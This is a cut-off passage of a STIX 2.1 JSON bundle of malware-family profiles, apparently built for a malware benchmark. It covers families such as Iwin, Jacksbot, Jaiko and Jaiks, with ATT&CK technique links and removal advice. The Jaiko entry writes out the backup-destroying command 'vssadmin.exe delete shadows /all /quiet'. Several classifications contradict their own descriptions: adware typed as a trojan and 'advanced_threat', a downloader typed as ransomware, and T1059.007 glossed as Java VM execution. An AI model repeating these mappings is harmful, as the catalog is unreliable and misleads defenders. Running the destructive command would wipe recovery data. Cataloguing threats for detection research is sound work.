      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Iwin",
      "description": "<h3>Executive Summary</h3>\niWin (often detected as Adware.iWin or PUP.iWin) is a widespread family of Adware and Potentially Unwanted Programs (PUPs). It is historically associated with the bundled installation of \"free\" casual games from the iWin portal. While the games themselves may function, the bundled software aggressively monetizes the user's web browsing activity by injecting intrusive advertisements and altering browser configurations, degrading system performance and user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\niWin adware is almost exclusively distributed via deceptive software bundling. When a user downloads a free game from the iWin portal or affiliated third-party sites, the installer uses pre-checked boxes and confusing EULAs to silently install secondary adware components.\n\nOnce executed, the iWin adware integrates with the operating system and web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> The adware forces changes to the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal (often heavily branded) controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Advertisement Injection:</strong> It installs browser extensions or local proxies to overlay legitimate websites with pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks, severely disrupting the user experience.</li>\n<li><strong>Data Harvesting:</strong> The adware continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile iWin adware does not actively encrypt files or steal banking credentials, it introduces significant operational friction in enterprise environments. Furthermore, the injected advertisements are frequently served by low-reputation ad networks, increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the iWin executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from downloading and executing unapproved casual games and their associated, untrusted software installers.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.iWin",
        "PUP.iWin",
        "BrowserModifier:Win32/iWin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Iwin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/iwin"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9529859f-87ff-5c16-b786-7c88588fd544",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b7ac37a-8210-5d8c-93a1-d93e3b8bff3c",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iwin exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bbce19a-e34a-5c49-b9f7-abec529bbf37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b7ac37a-8210-5d8c-93a1-d93e3b8bff3c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iwin exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99fe65a6-0e06-5602-a6f1-f7e4bd5b7ead",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b7ac37a-8210-5d8c-93a1-d93e3b8bff3c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Iwin exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--506a5c84-f54b-5a57-9e9c-46f23fed2ff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jacard",
      "description": "Jacard (cataloged in threat research and antivirus vendor databases under detections including Trojan:Win32/Jacard, Trojan.Jacard, and W32/Jacard) is a sophisticated Windows trojan and initial access stager active since 2013. Designed to compromise host endpoint integrity and establish covert surveillance, Jacard is distributed via malicious email attachments, compromised download portals, and pirated software cracks. Upon execution, Jacard unpacks in-memory, alters system settings to hide its background execution, and establishes persistence through Windows registry Run keys and scheduled tasks. Jacard hooks web browsers to intercept session traffic, collects host system configuration data and user credentials, and communicates with remote command-and-control (C2) servers over encrypted HTTP. Furthermore, it operates as a secondary downloader, retrieving and executing secondary malware modules including ransomware precursors, keyloggers, and cryptocurrency miners. (Observed samples in benchmark: 69)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Jacard",
        "Trojan.Jacard",
        "W32/Jacard"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jacard",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jacard"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d31f3b7-4e51-5fae-95a6-97a8c47a8b9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--506a5c84-f54b-5a57-9e9c-46f23fed2ff2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacard exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81a36327-bbbc-57a0-ab59-5a09cf232546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--506a5c84-f54b-5a57-9e9c-46f23fed2ff2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacard exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2314842c-4431-5bd7-8b88-5d70542d03d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--506a5c84-f54b-5a57-9e9c-46f23fed2ff2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacard exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23b35b3d-8837-5ff1-86a0-cad61f2d5dc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--506a5c84-f54b-5a57-9e9c-46f23fed2ff2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacard exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b92d513-6c6a-5f19-b843-dd3929a4fd6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--506a5c84-f54b-5a57-9e9c-46f23fed2ff2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacard exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--147a50c1-a02a-5bde-b421-63090495b788",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jacksbot",
      "description": "Backdoor:Java/Jacksbot is a sophisticated, cross-platform Remote Access Trojan (RAT) written entirely in Java. Because it relies on the Java Virtual Machine (JVM), a single Jacksbot payload can successfully infect and control Windows, macOS, and Linux systems (`T1059.007`). It is primarily designed for full remote administration, credential theft, and enlisting the compromised machine into a botnet for DDoS attacks.<br><br><b>Understanding Jacksbot (Cross-Platform RAT)</b><br>To an end-user, the infection is invisible, though system performance may degrade during a DDoS attack. For a SOC analyst, Jacksbot is highly concerning because its cross-platform nature allows attackers to pivot seamlessly across mixed-OS environments (e.g., moving from a compromised Windows workstation to a Linux server).<br><br><b>Execution and RAT Mechanics</b><br>Jacksbot is typically distributed via malicious links (Drive-by Downloads) exploiting outdated Java browser plugins, or bundled within pirated software (`.jar` files). Upon execution via the `java.exe` or `javaw.exe` process (`T1059.007`), it establishes persistence specific to the host OS (e.g., Registry Run keys on Windows, `cron` jobs or `init` scripts on Linux). It establishes an encrypted C2 connection, often over IRC or custom TCP protocols. It possesses a vast array of capabilities: remote desktop viewing (VNC), file system manipulation, executing arbitrary shell commands (`T1059.004`), keylogging, and launching UDP/TCP flood attacks against specific targets (`T1498.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of confidentiality and control, plus the liability of the host being used in cyberattacks. Host-based IoCs include EDR alerts for `java.exe` or `javaw.exe` spawning unexpected child processes (like `cmd.exe` or `/bin/sh`), high CPU utilization by the Java process, and the presence of hidden `.jar` files in user directories. Network IoCs include outbound IRC traffic or persistent, encrypted connections to unknown IP addresses on non-standard ports. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jacksbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jacksbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1dc0532-5761-5d22-93ca-7e1241c944d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--147a50c1-a02a-5bde-b421-63090495b788",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacksbot exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript (Execution via the Java Virtual Machine))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8de1e0cc-b095-591c-8f90-4bf0acb3193e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--147a50c1-a02a-5bde-b421-63090495b788",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacksbot exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (Remote execution capabilities on Linux hosts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--533a3e31-3848-5152-b477-08ad3d6c3c41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--147a50c1-a02a-5bde-b421-63090495b788",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacksbot exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood (Using the host to participate in DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48780744-8fe8-5cd0-9fbd-d668115bfc1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--147a50c1-a02a-5bde-b421-63090495b788",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jacksbot exhibits technique T1056.001 (Input Capture: Keylogging (Stealing credentials across operating systems))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0b6c37f-d0f2-56b1-bc70-54e95f52c59f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jackservn",
      "description": "Jackservn (classified in antimalware definitions under Trojan:Win32/Jackservn, TrojanDownloader:Win32/Jackservn, and Backdoor:Win32/Jackservn) is a stealthy modular trojan downloader and stager engineered to establish a persistent bridgehead on Windows systems and retrieve follow-on malicious packages. Disseminated primarily through malicious email attachments, deceptive software installers, and drive-by download vectors, Jackservn executes initial environment reconnaissance upon initial execution. It interrogates the operating system version, processor architecture, active defensive processes, and checks for virtualized hypervisors or debugger hooks to evade sandbox analysis. Once evasion checks succeed, Jackservn drops an executable binary into `%APPDATA%` or `%LOCALAPPDATA%` and creates a persistent Windows service or Scheduled Task for survivability across reboots. The trojan subsequently initiates HTTPS POST beacons to remote command-and-control servers, transmitting endpoint telemetry and receiving encrypted instructions to download, unpack, and launch secondary payloads, including banking trojans, info-stealers, and cryptominers. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Jackservn",
        "TrojanDownloader:Win32/Jackservn",
        "Win32/Jackservn",
        "Jackservn Loader",
        "Trojan.Jackservn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jackservn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jackservn"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86e00a21-7d00-5db2-8116-dd2412616982",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6c37f-d0f2-56b1-bc70-54e95f52c59f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jackservn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4072049f-c6f6-5f4c-952a-70d6511b4b96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6c37f-d0f2-56b1-bc70-54e95f52c59f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jackservn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--854a4124-3787-55d1-b991-7b5b8181b180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6c37f-d0f2-56b1-bc70-54e95f52c59f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jackservn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02563aa1-270e-5430-a81c-502374f2996a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6c37f-d0f2-56b1-bc70-54e95f52c59f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jackservn exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0b39f97-3ee4-5cca-89f3-46db3467fdee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b6c37f-d0f2-56b1-bc70-54e95f52c59f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jackservn exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3dfc4c69-fdc1-5dfd-b65d-bac4115234dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jaik",
      "description": "Jaik (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Jaik, Trojan:Win32/Jaik!pz, and Trojan.Win32.Jaik) is a covert Windows trojan and initial access stager active since 2017. Infiltrating endpoints primarily through third-party freeware bundles, cracked software utilities, and weaponized email attachments, Jaik executes reconnaissance and dropper routines on target hosts. Upon execution, the malware establishes persistence via Windows Registry Run keys, drops auxiliary binaries into user temporary directories, and communicates with remote command-and-control servers over encrypted channels to stage secondary malicious payloads such as ransomware and infostealers. (Observed samples in benchmark: 39)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Jaik",
        "Trojan:Win32/Jaik!pz",
        "Trojan:Win32/Jaik!MTB",
        "Win32/Jaik",
        "Trojan.Win32.Jaik"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jaik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jaik"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be66cbc5-0d05-50e5-8cc4-b407cabbd398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jaike",
      "description": "Trojan:Win32/Jaike is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jaike</b><br>To an end-user, a Jaike infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jaike is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jaike is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jaike frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jaike reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jaike",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jaike"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a12eea91-368d-5b62-ac8c-d094336c50fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be66cbc5-0d05-50e5-8cc4-b407cabbd398",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaike exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdc9093d-964c-5d67-bca9-80823b60b292",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be66cbc5-0d05-50e5-8cc4-b407cabbd398",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaike exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6422a80-b997-5e4a-8cc1-1d601ec70a71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be66cbc5-0d05-50e5-8cc4-b407cabbd398",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaike exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6756989-3338-5786-9f5e-ae3a022a310b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be66cbc5-0d05-50e5-8cc4-b407cabbd398",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaike exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4de59034-50c8-5ea1-9a35-547416561877",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be66cbc5-0d05-50e5-8cc4-b407cabbd398",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaike exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a0786cf-965f-50b3-8ae4-5b033f986e3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jaiko",
      "description": "Jaiko is an extortion ransomware and screen locker strain active since 2016. Delivered via weaponized email attachments and fake software installers, Jaiko executes localized file encryption using symmetric block ciphers while locking the desktop environment. The malware invokes vssadmin.exe delete shadows /all /quiet to prevent restore operations, appends the .jaiko extension to locked documents, and presents an interactive ransom note window providing operator contact details and cryptocurrency wallet addresses for extortion payment. (Observed samples in benchmark: 44)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Jaiko",
        "Trojan-Ransom.Win32.Jaiko",
        "Ransom.Jaiko",
        "Win32/Jaiko"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jaiko",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jaiko"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acd42045-307b-5941-b458-be10fa56cbb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a0786cf-965f-50b3-8ae4-5b033f986e3f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiko exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29a13c6f-08e9-516c-9c0f-42c2786956cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a0786cf-965f-50b3-8ae4-5b033f986e3f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiko exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fafd8f9-eb0e-51a2-b291-f56fed487cbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a0786cf-965f-50b3-8ae4-5b033f986e3f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiko exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0004b989-c225-5be2-9855-3cbb1460cd1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a0786cf-965f-50b3-8ae4-5b033f986e3f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiko exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98a7460f-32f6-5bc2-9618-2452efbaba9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a0786cf-965f-50b3-8ae4-5b033f986e3f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiko exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0bd8fc0-a065-5132-bdd3-ae9a8dc04a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jaiks",
      "description": "Jaiks (classified in antimalware threat repositories as Ransom:Win32/Jaiks and Trojan-Ransom.Win32.Jaiks) is an evasive crypto-ransomware family designed to execute high-speed file encryption across Windows enterprise workstations and file servers. Distributed through targeted phishing attacks and exposed RDP brute-force intrusions, Jaiks terminates local database services (including Microsoft SQL Server and MySQL) and backup software to unlock protected files. Utilizing AES-256 encryption with an embedded RSA public key, Jaiks encrypts documents, source code, and virtual disks, appending .jaiks to filenames. It drops ransom notes titled JAIKS_README_DECRYPT.txt detailing cryptocurrency ransom demands and wipes Volume Shadow Copies using administrative command-line utilities. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Jaiks",
        "Trojan-Ransom.Win32.Jaiks",
        "Win32/Jaiks",
        "Jaiks Ransomware",
        "Ransom.Jaiks"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jaiks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jaiks"
        }
      ],
      "labels": [
